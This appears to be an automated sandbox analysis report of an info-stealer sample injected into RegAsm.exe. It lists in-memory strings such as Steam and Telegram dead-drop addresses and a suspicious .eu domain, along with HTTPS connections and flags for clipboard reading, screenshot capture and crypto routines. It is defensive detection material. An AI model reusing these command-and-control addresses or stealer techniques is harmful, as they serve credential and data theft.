Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/vS
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: FHCGCA.3.dr String found in binary or memory: https://support.mozilla.org
Source: FHCGCA.3.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHCGCA.3.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: EGIIJD.3.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: EGIIJD.3.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/:
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/JDHIECAAFH
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: FHCGCA.3.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: MFDBG.exe, 00000008.00000002.4507693462.00000000022E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://yalubluseks.eu/t
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.51.224:443 -> 192.168.2.5:49762 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 13_2_00437DE0
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 13_2_00437DE0
Contains functionality to record screenshots
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 3_2_00411F55

System Summary
barindex
.NET source code contains very large array initializations
Source: file.exe, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 393216
Source: EBGDHJECFC.exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 357376
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess, 3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C1AB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AB8C0 rand_s,NtQueryVirtualMemory, 3_2_6C1AB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 3_2_6C1AB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C14F280
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D903 3_2_0042D903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D193 3_2_0042D193
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C43C 3_2_0041C43C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004194D4 3_2_004194D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042DCEB 3_2_0042DCEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042CCFE 3_2_0042CCFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D531 3_2_0042D531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041B6DC 3_2_0041B6DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1435A0 3_2_6C1435A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C185C10 3_2_6C185C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C192C10 3_2_6C192C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1BAC00 3_2_6C1BAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B542B 3_2_6C1B542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B545C 3_2_6C1B545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C155440 3_2_6C155440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C156C80 3_2_6C156C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A34A0 3_2_6C1A34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AC4A0 3_2_6C1AC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C16D4D0 3_2_6C16D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1564C0 3_2_6C1564C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C186CF0 3_2_6C186CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14D4E0 3_2_6C14D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C170512 3_2_6C170512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C16ED10 3_2_6C16ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C15FD00 3_2_6C15FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C180DD0 3_2_6C180DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A85F0 3_2_6C1A85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C187E10 3_2_6C187E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C195600 3_2_6C195600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A9E30 3_2_6C1A9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C169E50 3_2_6C169E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C183E50 3_2_6C183E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C164640 3_2_6C164640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C192E4E 3_2_6C192E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14C670 3_2_6C14C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B6E63 3_2_6C1B6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C165E90 3_2_6C165E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AE680 3_2_6C1AE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A4EA0 3_2_6C1A4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14BEF0 3_2_6C14BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C15FEF0 3_2_6C15FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B76E3 3_2_6C1B76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C187710 3_2_6C187710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C159F00 3_2_6C159F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1977A0 3_2_6C1977A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C176FF0 3_2_6C176FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14DFE0 3_2_6C14DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C157810 3_2_6C157810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C18B820 3_2_6C18B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C194820 3_2_6C194820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C168850 3_2_6C168850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C16D850 3_2_6C16D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C18F070 3_2_6C18F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1760A0 3_2_6C1760A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1B50C7 3_2_6C1B50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C16C0E0 3_2_6C16C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1858E0 3_2_6C1858E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C16A940 3_2_6C16A940
